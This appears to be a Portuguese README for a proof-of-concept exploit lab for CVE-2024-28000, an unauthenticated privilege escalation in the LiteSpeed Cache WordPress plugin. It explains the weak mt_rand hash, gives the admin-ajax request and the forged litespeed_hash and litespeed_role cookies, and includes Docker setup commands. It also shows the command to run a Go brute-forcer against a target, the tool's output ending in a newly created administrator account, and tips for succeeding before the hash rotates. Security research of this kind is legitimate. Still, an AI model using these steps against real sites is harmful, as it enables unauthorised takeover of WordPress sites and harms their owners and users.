
Laboratório prático de exploit para CVE-2024-28000 — escalonamento de privilégios não autenticado no LiteSpeed Cache (plugin WordPress, <=6.3.0.1). Sobe um ambiente vulnerável com Docker e inclui um brute-forcer em Go que quebra o hash fraco mt_rand para criar uma conta de administrador.
[!WARNING] Este repositório destina-se apenas a fins educacionais e de pesquisa.
- Utilize o PoC fornecido exclusivamente em sistemas que você possui ou para os quais tem permissão explícita de testar.
- Acesso não autorizado, exploração ou uso indevido de qualquer material neste repositório é ilegal.
- O(s) autor(es) não assumem qualquer responsabilidade por quaisquer danos, uso indevido ou consequências legais resultantes do uso inadequado.
CVE-2024-28000 é uma vulnerabilidade crítica de escalação de privilégios não autenticada que afeta o plugin LiteSpeed Cache para WordPress. A vulnerabilidade decorre de um mecanismo de autenticação fraco baseado em hash no recurso de simulação de função do crawler do plugin, permitindo que um atacante completamente não autenticado se passe por um administrador do WordPress e assuma o controle total do site.
O plugin LiteSpeed Cache inclui um crawler que pré-aquece o cache do site visitando páginas como diferentes funções de usuário. Para autenticar o crawler, o plugin gera um hash curto e o armazena na tabela de opções do WordPress. Qualquer requisição que apresente esse hash em um cookie recebe a função de usuário especificada em um segundo cookie.
Três falhas de design se combinam para tornar isso explorável:
A ação AJAX que gera o hash está registrada para usuários não autenticados sem verificação de capacidade ou nonce:
// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);
public function async_litespeed_handler() {
// No capability check
// No nonce verification
// Any visitor can call this
$type = sanitize_key($_POST['litespeed_type'] ?? '');
if ($type === 'crawler') {
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
}
wp_die();
}
Um atacante aciona isso enviando:
POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler
O hash é gerado usando mt_rand() do PHP, semeado com o componente de microssegundos do tempo atual:
// src/str.cls.php
public static function rrand($len, $type = 7) {
mt_srand((int) ((float) microtime() * 1000000));
// seed = microseconds = 0 to 999,999 only
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
}
return $str;
}
microtime() retorna apenas a fração de segundo (por exemplo, 0.523847). Multiplicado por 1.000.000, isso produz uma semente entre 0 e 999.999 - independentemente da hora do dia. Um atacante que aciona a geração do hash por conta própria conhece o tempo aproximado de geração e pode forçar todos os 1 milhão de sementes em minutos.
O plugin verifica o hash em cada requisição com uma simples comparação de strings e sem bloqueio ou limitação de taxa:
// src/router.cls.php
public function is_role_simulation() {
if (empty($_COOKIE['litespeed_hash'])) return;
$hash = self::get_option(self::ITEM_HASH);
// Simple string compare - no rate limiting, no IP check, no lockout
if ($_COOKIE['litespeed_hash'] !== $hash) return;
$role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}
sequenceDiagram
participant A as Attacker
participant W as LiteSpeed Cache / WordPress
A->>W: POST /wp-admin/admin-ajax.php
W->>W: Seed mt_rand() with microtime()
W->>W: Generate & store litespeed_hash
A->>A: Brute-force PRNG seed
A->>A: Replicate PHP mt_rand() in Go
A->>A: Recover litespeed_hash
A->>W: Cookie: litespeed_hash=<recovered_hash>
A->>W: Cookie: litespeed_role=1
W->>W: verify_hash()
W->>W: wp_set_current_user(1)
A->>W: POST /index.php?rest_route=/wp/v2/users
W-->>A: Administrator account created
A->>W: Login with new Administrator account
Note over A,W: Full Site Compromise# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git
# Change directory
cd CVE-2024-28000
# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml
# Build and start:
cd lab && docker compose up -d --build
# Watch setup progress:
docker compose logs -f wordpress
Aguarde até ver:
============================================================
Lab ready!
Admin : http://YOUR_IP/wp-admin
Login : admin / admin123
Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================
cd expl && go run main.go -url http://TARGET_IP/ -threads 40
============================================================
CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
Target : https://TARGET_IP/
Seeds : 0 to 999999 (1000000 total)
Threads : 40
Timeout : 5s
============================================================
[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread 5] Testing seed 100000
[INF] [Thread 7] Testing seed 150000
[INF] [Thread 9] Testing seed 200000
[INF] [Thread 3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread 1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000
[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username : test_lab_user
[+] Password : test_lab_pass
[+] Login at : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s
[!IMPORTANT] O hash não tem expiração, mas pode ser regenerado pelo crawler integrado do LiteSpeed.
- Se o crawler estiver ativo (intervalo padrão: a cada 10 minutos), o hash armazenado no banco de dados será substituído automaticamente - fazendo com que a força bruta falhe, pois está testando sementes para o hash antigo.
- Se o crawler estiver desabilitado, o hash persiste indefinidamente e a contagem de threads afeta apenas a velocidade, não o sucesso.
- Para maximizar a taxa de sucesso: acione a geração do hash e execute o exploit imediatamente, com o máximo de threads que o alvo suportar.
- Sinais de que o hash foi rotacionado durante o ataque: todas as 1.000.000 de sementes são esgotadas sem resultado, apesar da verificação de sanidade ter passado na inicialização.